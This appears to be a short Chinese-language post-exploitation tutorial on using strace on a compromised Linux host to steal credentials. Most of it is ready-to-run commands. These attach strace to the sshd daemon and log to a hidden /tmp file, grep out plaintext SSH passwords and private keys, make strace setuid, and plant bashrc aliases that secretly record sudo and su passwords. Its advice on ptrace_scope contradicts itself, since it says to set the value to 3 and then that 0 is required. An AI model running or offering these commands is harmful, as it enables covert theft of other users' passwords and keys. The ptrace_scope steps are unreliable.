1、安装Strace

  1. apt install strace -y

2、开启strace功能

由于Linux Kernel 3.4及更高版本支持完全限制或禁用strace的功能。这可以通过使用sysctl将kernel.yama.ptrace_scope设置为1、2或3来完成。
将其限制设置为3
sysctl kernel.yama.ptrace_scope=3
查看权限等级
cat /proc/sys/kernel/yama/ptrace_scope
image.png
当显示为0的时候,即可正常使用Strace

3、获取sshd进程密码

strace获取log

  1. (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

Log文件太大,需要进行正则匹配

  1. grep -a -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

经过测试strace可以实时抓取在线的登录(爆破)日志,如下图所示我进行了两次失败的登录测试,都成功抓到了密码
1628826135(1).png
抓到的密码不能过分相信,因为可能有大量的爆破密码被strace所抓取,其实更恰当的是我们可以理解为它是一个ssh登录账户密码监听器

4、获取获取sshd进程私钥

  1. (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

当用户通过私钥登录时,使用如下命令查看记录的私钥

  1. grep 'PRIVATE KEY' /tmp/.sshd.log
  1. 如果成功匹配到,我们需要根据格式进行转换,如\n转为换行之类等

5、收集su、sudo凭证

  1. chmod +s /usr/bin/strace
  2. vi ~/.bashrc
  3. alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
  4. alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
  5. source ~/.bashrc

但是经过测试 不知道为啥没有生成对应的日志,效果不大好?